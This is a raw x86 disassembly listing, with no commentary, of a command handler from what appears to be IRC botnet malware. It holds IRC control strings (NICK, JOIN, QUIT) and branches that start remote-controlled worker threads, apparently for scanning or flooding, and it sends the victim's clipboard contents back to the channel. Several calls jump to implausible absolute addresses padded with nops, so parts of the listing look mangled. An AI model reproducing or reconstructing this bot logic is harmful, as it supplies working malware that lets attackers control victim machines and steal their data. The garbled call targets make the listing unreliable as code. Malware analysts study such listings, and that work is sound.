; ---------------------------------------------------------------------------


loc_413AE6:				; CODE XREF: sub_40EE72+1A9Aj
					; sub_40EE72+1AB1j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F47
		push	ebx
		push	ebx
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		call	sub_415D01
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_4367E0
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_412FD2
; ---------------------------------------------------------------------------


loc_413B34:				; CODE XREF: sub_40EE72+1A6Cj
					; sub_40EE72+1A83j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_40F239
		push	edi
		call	sub_41781F
		mov	esi, 1F4h
		pop	ecx
		cmp	eax, esi
		jge	loc_40F239
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D633
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25F0439h
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	dword_43F700
		push	[ebp+var_10]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450D4[eax]
		call	near ptr 27B0A22h
		nop
		push	edi
		call	sub_41781F
		imul	eax, 234h
		push	edi
		mov	dword_4450D4[eax], ebx
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_444EC0[eax], bl
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_413BDD:				; CODE XREF: sub_40EE72+1A3Ej
					; sub_40EE72+1A55j
		push	edi
		push	offset aAll	; "all"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413C1B
		call	sub_416F25
		cmp	eax, ebx
		jle	short loc_413C11
		push	eax
		push	offset dword_435E4C


loc_413BFD:				; CODE XREF: sub_40EE72+15E2j
					; sub_40EE72+2A8Fj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0


loc_413C09:				; CODE XREF: sub_40EE72+3CA6j
		add	esp, 0Ch
		jmp	loc_41460C
; ---------------------------------------------------------------------------


loc_413C11:				; CODE XREF: sub_40EE72+4D83j
		push	offset dword_435E14
		jmp	loc_4145FE
; ---------------------------------------------------------------------------


loc_413C1B:				; CODE XREF: sub_40EE72+4D7Aj
		mov	eax, [ebp+var_C0]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_40F239
		lea	eax, [ebp+edi*4+var_94]
		mov	[ebp+arg_24], eax


loc_413C37:				; CODE XREF: sub_40EE72+4E36j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_40F239
		push	esi
		call	sub_41781F
		push	eax
		call	sub_416E97
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_413C5E
		push	offset dword_435DE0
		jmp	short loc_413C63
; ---------------------------------------------------------------------------


loc_413C5E:				; CODE XREF: sub_40EE72+4DE3j
		push	offset dword_435DA4


loc_413C63:				; CODE XREF: sub_40EE72+4DEAj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_413C93
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_413C93:				; CODE XREF: sub_40EE72+4E03j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_413C37
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_413CAF:				; CODE XREF: sub_40EE72+1A10j
					; sub_40EE72+1A27j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F47
		push	esi
		push	offset dword_428598
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	offset dword_435D7C
		jmp	loc_414F40
; ---------------------------------------------------------------------------


loc_413CE9:				; CODE XREF: sub_40EE72+19E2j
					; sub_40EE72+19F9j
		push	edi
		push	offset dword_436710
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	offset dword_435D4C
		jmp	loc_414F40
; ---------------------------------------------------------------------------


loc_413D05:				; CODE XREF: sub_40EE72+19B4j
					; sub_40EE72+19CBj
		push	[ebp+esi+var_8C]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		push	edi
		push	offset dword_435D1C
		jmp	loc_414F40
; ---------------------------------------------------------------------------


loc_413D28:				; CODE XREF: sub_40EE72+1986j
					; sub_40EE72+199Dj
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	offset dword_435CE8
		jmp	loc_414F40
; ---------------------------------------------------------------------------


loc_413D44:				; CODE XREF: sub_40EE72+194Bj
					; sub_40EE72+1960j
		mov	al, byte_42F5F2
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_42F5F2
		jz	loc_40F239
		mov	ecx, edx


loc_413D5B:				; CODE XREF: sub_40EE72+4EF1j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_413D5B
		cmp	al, bl
		jz	loc_40F239
		mov	[ebp+arg_18], edx


loc_413D70:				; CODE XREF: sub_40EE72+51BCj
		push	8
		call	sub_416FA4
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 258h
		jle	short loc_413DBF
		push	ecx
		lea	eax, [ebp+var_2DC]
		push	offset unk_437024
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_414025
; ---------------------------------------------------------------------------


loc_413DBF:				; CODE XREF: sub_40EE72+4F18j
		or	[ebp+var_314], 0FFFFFFFFh
		cmp	dword_42ACB0, ebx
		mov	[ebp+var_318], 14h
		mov	[ebp+var_32C], 7
		mov	[ebp+var_328], 140h
		mov	[ebp+arg_0], ebx
		jz	short loc_413E30
		mov	eax, [ebp+arg_18]
		mov	edi, offset dword_42ACB0
		lea	esi, [eax-0Ah]


loc_413DFA:				; CODE XREF: sub_40EE72+4FA0j
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413E16
		inc	[ebp+arg_0]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_413DFA
		jmp	short loc_413E30
; ---------------------------------------------------------------------------


loc_413E16:				; CODE XREF: sub_40EE72+4F96j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_314], eax
		imul	ecx, 3Ch
		mov	ecx, dword_42ACB0[ecx]
		mov	[ebp+var_330], ecx


loc_413E30:				; CODE XREF: sub_40EE72+4F7Bj
					; sub_40EE72+4FA2j
		cmp	[ebp+var_330], ebx
		jz	loc_414039
		push	10h
		lea	eax, [ebp+arg_10]
		pop	esi
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		mov	[ebp+arg_10], esi
		push	[ebp+arg_4]
		call	dword_43F60C
		mov	al, [ebp+var_9C7]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2E8], eax
		push	[ebp+var_2E8]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418C10
		xor	eax, eax
		cmp	[ebp+var_9C7], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418F10
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_413ED2


loc_413EB0:				; CODE XREF: sub_40EE72+505Ej
		cmp	eax, ebx
		jz	short loc_413ED2
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_444]
		push	30h
		push	eax
		call	sub_418F10
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_413EB0


loc_413ED2:				; CODE XREF: sub_40EE72+503Cj
					; sub_40EE72+5040j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_334], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_434]
		push	eax
		mov	[ebp+var_304], 1
		mov	[ebp+var_30C], esi
		call	sub_41782A
		mov	edi, offset aF	; "#f"
		push	offset byte_43C80C
		push	edi
		call	sub_4176D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_413F3C
		push	edi
		lea	eax, [ebp+var_3B4]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_413F42
; ---------------------------------------------------------------------------


loc_413F3C:				; CODE XREF: sub_40EE72+50B1j
		mov	[ebp+var_3B4], bl


loc_413F42:				; CODE XREF: sub_40EE72+50C8j
		cmp	[ebp+var_304], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_413F54
		mov	eax, offset aSequential	; "Sequential"


loc_413F54:				; CODE XREF: sub_40EE72+50DBj
		push	[ebp+var_318]
		lea	ecx, [ebp+var_444]
		push	[ebp+var_328]
		push	[ebp+var_32C]
		push	[ebp+var_330]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_435C70
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5C
		add	esp, 2Ch
		mov	[ebp+var_324], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_444]
		push	ebx
		push	eax
		push	offset sub_40797F
		push	ebx
		push	ebx
		nop
		call	near ptr 2660D4Bh
		mov	ecx, [ebp+var_324]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_413FDE


loc_413FCC:				; CODE XREF: sub_40EE72+516Aj
		cmp	[ebp+var_300], ebx
		jnz	short loc_413FF9
		push	32h
		nop
		call	near ptr 25F0439h
		jmp	short loc_413FCC
; ---------------------------------------------------------------------------


loc_413FDE:				; CODE XREF: sub_40EE72+5158j
		call	near ptr 2630313h
		nop
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436F14
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_413FF9:				; CODE XREF: sub_40EE72+5160j
		cmp	[ebp+var_8], ebx
		jnz	short loc_414018
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	esi
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_414018:				; CODE XREF: sub_40EE72+518Aj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_414025:				; CODE XREF: sub_40EE72+4F48j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_413D70
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_414039:				; CODE XREF: sub_40EE72+310Aj
					; sub_40EE72+4FC4j
		push	offset unk_435C2C
		jmp	loc_4145FE
; ---------------------------------------------------------------------------


loc_414043:				; CODE XREF: sub_40EE72+1921j
					; sub_40EE72+1936j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_A4]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_A8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		push	offset unk_435BF4
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Eh
		push	eax
		call	sub_416D5C
		add	esp, 18h
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A8]
		push	ebx
		push	eax
		push	offset sub_409037
		push	ebx
		push	ebx
		nop
		call	near ptr 2660D4Bh
		mov	ecx, [ebp+var_24]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4140DC


loc_4140C9:				; CODE XREF: sub_40EE72+5268j
		cmp	[ebp+var_18], ebx
		jnz	loc_414E11
		push	32h
		nop
		call	near ptr 25F0439h
		jmp	short loc_4140C9
; ---------------------------------------------------------------------------


loc_4140DC:				; CODE XREF: sub_40EE72+5255j
		nop
		call	near ptr 2630313h
		push	eax
		push	offset unk_435BA8
		jmp	loc_414E02
; ---------------------------------------------------------------------------


loc_4140ED:				; CODE XREF: sub_40EE72+18F7j
					; sub_40EE72+190Cj
		push	4
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_414103
		push	offset unk_435B7C
		jmp	loc_410D38
; ---------------------------------------------------------------------------


loc_414103:				; CODE XREF: sub_40EE72+5285j
		mov	eax, [ebp+esi+var_90]
		cmp	eax, ebx
		jz	short loc_414126
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_7FC]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_41413A
; ---------------------------------------------------------------------------


loc_414126:				; CODE XREF: sub_40EE72+529Aj
		mov	edi, 104h
		lea	eax, [ebp+var_7FC]
		push	edi
		push	eax
		push	ebx
		call	near ptr 2640000h
		nop


loc_41413A:				; CODE XREF: sub_40EE72+52B2j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_41414A
		mov	esi, offset byte_42F674


loc_41414A:				; CODE XREF: sub_40EE72+52D1j
		push	esi
		lea	eax, [ebp+var_6F8]
		push	edi
		push	eax
		call	sub_41782A
		mov	eax, dword_42F5AC
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_5EC], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_5F0], ebx
		mov	[ebp+var_800], eax
		lea	eax, [ebp+var_5E8]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_6F8]
		push	eax
		lea	eax, [ebp+var_7FC]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_5EC]
		push	offset unk_42B328
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	4
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_5F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_800]
		push	ebx
		push	eax
		push	offset sub_406C19
		push	ebx
		push	ebx
		nop
		call	near ptr 2660D4Bh
		mov	ecx, [ebp+var_5F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_41421D


loc_414207:				; CODE XREF: sub_40EE72+53A9j
		cmp	[ebp+var_560], ebx
		jnz	loc_410E57
		push	32h
		nop
		call	near ptr 25F0439h
		jmp	short loc_414207
; ---------------------------------------------------------------------------


loc_41421D:				; CODE XREF: sub_40EE72+5393j
		nop
		call	near ptr 2630313h
		push	eax
		push	offset unk_435B34
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_41422E:				; CODE XREF: sub_40EE72+18CDj
					; sub_40EE72+18E2j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_41424D
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_41424D
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_414252
; ---------------------------------------------------------------------------


loc_41424D:				; CODE XREF: sub_40EE72+53C5j
					; sub_40EE72+53D0j
		mov	eax, dword_42F5B0


loc_414252:				; CODE XREF: sub_40EE72+53D9j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_57C], eax
		xor	eax, eax
		cmp	[ebp+var_9C4], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_568], eax
		jz	short loc_414285
		lea	eax, [ebp+var_680]
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	short loc_4142B0
; ---------------------------------------------------------------------------


loc_414285:				; CODE XREF: sub_40EE72+5400j
		lea	eax, [ebp+var_3FC]
		push	104h
		push	eax
		call	near ptr 25F048Fh
		nop
		push	ebx
		push	ebx
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4192B8
		add	esp, 14h


loc_4142B0:				; CODE XREF: sub_40EE72+5411j
		lea	eax, [ebp+var_680]
		push	eax
		call	sub_417AB0
		cmp	[ebp+eax+var_681], 5Ch
		pop	ecx
		jnz	short loc_4142DB
		lea	eax, [ebp+var_680]
		push	eax
		call	sub_417AB0
		pop	ecx
		mov	[ebp+eax+var_681], bl


loc_4142DB:				; CODE XREF: sub_40EE72+5453j
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_908]
		mov	[ebp+var_90C], esi
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_680]
		mov	[ebp+var_570], edi
		push	eax
		push	[ebp+var_57C]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_42B20C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	3
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_90C]
		push	ebx
		push	eax
		push	offset sub_405AF2
		push	ebx
		push	ebx
		nop
		call	near ptr 2660D4Bh
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_414393


loc_41437D:				; CODE XREF: sub_40EE72+551Fj
		cmp	[ebp+var_560], ebx
		jnz	loc_4144E5
		push	32h
		call	near ptr 25F0439h
		nop
		jmp	short loc_41437D
; ---------------------------------------------------------------------------


loc_414393:				; CODE XREF: sub_40EE72+5509j
		call	near ptr 2630313h
		nop
		push	eax
		push	offset unk_435AEC
		jmp	loc_4144D6
; ---------------------------------------------------------------------------


loc_4143A4:				; CODE XREF: sub_40EE72+18A3j
					; sub_40EE72+18B8j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_4143C3
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_4143C3
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_4143C8
; ---------------------------------------------------------------------------


loc_4143C3:				; CODE XREF: sub_40EE72+553Bj
					; sub_40EE72+5546j
		mov	eax, dword_42F5B4


loc_4143C8:				; CODE XREF: sub_40EE72+554Fj
		mov	[ebp+var_578], eax
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jnz	short loc_4143DF
		lea	eax, [ebp+var_D8]


loc_4143DF:				; CODE XREF: sub_40EE72+5565j
		push	eax
		lea	eax, [ebp+var_6B8]
		push	40h
		push	eax
		call	sub_41782A
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_414401
		mov	esi, offset byte_43C80C


loc_414401:				; CODE XREF: sub_40EE72+5588j
		push	esi
		lea	eax, [ebp+var_678]
		push	100h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_738]
		push	[ebp+var_8C]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_6B8]
		push	eax
		mov	[ebp+var_73C], esi
		push	[ebp+var_578]
		mov	[ebp+var_568], edi
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_435AA0
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	6
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_73C]
		push	ebx
		push	eax
		push	offset word_41570E
		push	ebx
		push	ebx
		call	near ptr 2660D4Bh
		nop
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4144CA


loc_4144B8:				; CODE XREF: sub_40EE72+5656j
		cmp	[ebp+var_560], ebx
		jnz	short loc_4144E5
		push	32h
		nop
		call	near ptr 25F0439h
		jmp	short loc_4144B8
; ---------------------------------------------------------------------------


loc_4144CA:				; CODE XREF: sub_40EE72+5644j
		nop
		call	near ptr 2630313h
		push	eax
		push	offset dword_435A54


loc_4144D6:				; CODE XREF: sub_40EE72+3627j
					; sub_40EE72+3724j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_4144E5:				; CODE XREF: sub_40EE72+360Bj
					; sub_40EE72+3708j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E11
		push	ebx
		push	edi
		jmp	loc_411D2F
; ---------------------------------------------------------------------------


loc_4144F5:				; CODE XREF: sub_40EE72+1879j
					; sub_40EE72+188Ej
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414508
		push	esi
		call	sub_41781F
		jmp	short loc_41450F
; ---------------------------------------------------------------------------


loc_414508:				; CODE XREF: sub_40EE72+568Cj
		push	8
		call	sub_416FC3


loc_41450F:				; CODE XREF: sub_40EE72+5694j
		cmp	eax, ebx
		pop	ecx
		jz	loc_414F47
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4071DB


loc_41452A:				; CODE XREF: sub_40EE72+5B67j
		add	esp, 10h
		jmp	loc_414F47
; ---------------------------------------------------------------------------


loc_414532:				; CODE XREF: sub_40EE72+184Fj
					; sub_40EE72+1864j
		mov	eax, dword_43F590
		cmp	eax, ebx
		jz	short loc_41454F
		call	eax
		test	eax, eax
		jz	short loc_414548
		push	offset unk_435A20
		jmp	short loc_414564
; ---------------------------------------------------------------------------


loc_414548:				; CODE XREF: sub_40EE72+56CDj
		push	offset unk_4359E4
		jmp	short loc_414564
; ---------------------------------------------------------------------------


loc_41454F:				; CODE XREF: sub_40EE72+56C7j
		push	offset unk_4359A8
		jmp	short loc_414564
; ---------------------------------------------------------------------------


loc_414556:				; CODE XREF: sub_40EE72+1825j
					; sub_40EE72+183Aj
		call	sub_40AE02
		test	eax, eax
		jz	short loc_41457A
		push	offset unk_435974


loc_414564:				; CODE XREF: sub_40EE72+4AFEj
					; sub_40EE72+56D4j ...
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		jmp	loc_4110BD
; ---------------------------------------------------------------------------


loc_41457A:				; CODE XREF: sub_40EE72+56EBj
		push	offset unk_435938
		jmp	short loc_414564
; ---------------------------------------------------------------------------


loc_414581:				; CODE XREF: sub_40EE72+17FBj
					; sub_40EE72+1810j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4145A0
		push	ebx
		push	[ebp+var_4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_4145A0:				; CODE XREF: sub_40EE72+5712j
		push	ebx
		push	[ebp+var_4]
		call	sub_40AABF
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_4358F8


loc_4145BD:				; CODE XREF: sub_40EE72+5A09j
					; sub_40EE72+5A3Bj
		call	sub_40BF6D
		add	esp, 18h
		jmp	loc_414F47
; ---------------------------------------------------------------------------


loc_4145CA:				; CODE XREF: sub_40EE72+171Cj
					; sub_40EE72+1731j
		push	7
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_4145DD
		push	offset dword_4358C0
		jmp	short loc_4145FE
; ---------------------------------------------------------------------------


loc_4145DD:				; CODE XREF: sub_40EE72+5762j
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B56C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4145F9
		push	offset dword_435888
		jmp	short loc_4145FE
; ---------------------------------------------------------------------------


loc_4145F9:				; CODE XREF: sub_40EE72+577Ej
		push	offset dword_435858


loc_4145FE:				; CODE XREF: sub_40EE72+2C51j
					; sub_40EE72+2D87j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_41460C:				; CODE XREF: sub_40EE72+15C6j
					; sub_40EE72+2D61j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E11
		push	ebx
		push	[ebp+var_4]


loc_414619:				; CODE XREF: sub_40EE72+3963j
		lea	eax, [ebp+var_2DC]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]


loc_414629:				; CODE XREF: sub_40EE72+2ECBj
		call	sub_40D679
		add	esp, 14h
		jmp	loc_414E11
; ---------------------------------------------------------------------------


loc_414636:				; CODE XREF: sub_40EE72+16F2j
					; sub_40EE72+1707j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40A4AC
		jmp	loc_40F236
; ---------------------------------------------------------------------------


loc_41464F:				; CODE XREF: sub_40EE72+16C8j
					; sub_40EE72+16DDj
		push	[ebp+esi+var_90]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D320
		jmp	loc_40F236
; ---------------------------------------------------------------------------


loc_41466C:				; CODE XREF: sub_40EE72+169Ej
					; sub_40EE72+16B3j
		or	edi, 0FFFFFFFFh
		call	near ptr 25E08E4h
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_414695
		push	esi
		call	sub_41781F
		pop	ecx
		mov	edi, eax


loc_414695:				; CODE XREF: sub_40EE72+5818j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_4146AE
		cmp	edi, 0FFFFFFFFh
		jnz	loc_414F47


loc_4146AE:				; CODE XREF: sub_40EE72+5831j
		push	ebx
		call	sub_40B721
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_435830
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		jmp	loc_411A5D
; ---------------------------------------------------------------------------


loc_4146F1:				; CODE XREF: sub_40EE72+1674j
					; sub_40EE72+1689j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_408C26
		add	esp, 0Ch
		push	offset unk_435800
		jmp	loc_410D38
; ---------------------------------------------------------------------------


loc_41470F:				; CODE XREF: sub_40EE72+164Aj
					; sub_40EE72+165Fj
		push	1Fh
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_414738
		cmp	[ebp+var_8], ebx
		jnz	loc_40F239
		push	ebx
		push	[ebp+var_4]
		push	offset unk_4357CC
		push	[ebp+var_8C]
		jmp	loc_40F7A0
; ---------------------------------------------------------------------------


loc_414738:				; CODE XREF: sub_40EE72+58A7j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		mov	[ebp+var_46C], ebx
		jz	short loc_414799
		push	esi
		push	offset aFull	; "full"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_414799
		mov	[ebp+var_46C], 1


loc_414799:				; CODE XREF: sub_40EE72+590Aj
					; sub_40EE72+591Bj
		lea	eax, [ebp+var_2DC]
		push	offset dword_435794
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Fh
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
